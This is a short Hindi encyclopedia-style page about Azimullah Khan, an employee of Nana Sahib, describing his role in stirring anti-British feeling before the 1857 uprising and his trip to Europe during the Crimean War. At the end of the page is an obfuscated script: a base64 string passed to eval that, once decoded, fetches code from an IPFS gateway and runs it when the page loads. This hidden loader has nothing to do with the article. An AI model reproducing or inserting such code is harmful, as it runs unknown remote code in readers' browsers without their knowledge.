अज़ीमुल्लाह ख़ाँ

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 05:40, 1 मार्च 2013 का अवतरण (''''अज़ीमुल्लाह ख़ाँ''' पेशवा बाजीराव द्वितीय (1769-1818 ई.)...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

अज़ीमुल्लाह ख़ाँ पेशवा बाजीराव द्वितीय (1769-1818 ई.) के पुत्र नाना साहब का वेतन भोगी कर्मचारी था। उसने 1857 ई. का सिपाही विद्रोह कराने में गुप्त रूप से भाग लिया था।

  • अज़ीमुल्लाह ने भारतीयों में अंग्रेज़ विरोधी भावनाएँ भड़काने में मुख्य भूमिका निभाई थी।
  • ऐसा समझा जाता है कि, जब यूरोप में क्रीमिया की लड़ाई चल रही थी, तो अज़ीमुल्लाह ख़ाँ यूरोप गया और उसने नाना साहब और रूसियों में सन्धि कराने का प्रयास किया।
  • वह इस प्रयास में सफल नहीं हुआ, लेकिन उसने वापस लौटकर अनेक ऐसे वृत्तान्त प्रचारित किये, जिनसे भारतीयों के मन में बैठी अंग्रेज़ों के अजेय होने की भावना नष्ट हो गई।
  • अज़ीमुल्लाह के विवरण से भारतीय सिपाहियों के मन में भी कुछ सीमा तक अंग्रेज़ों के विरुद्ध सफलता प्राप्त करने का उत्साह जाग्रत हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>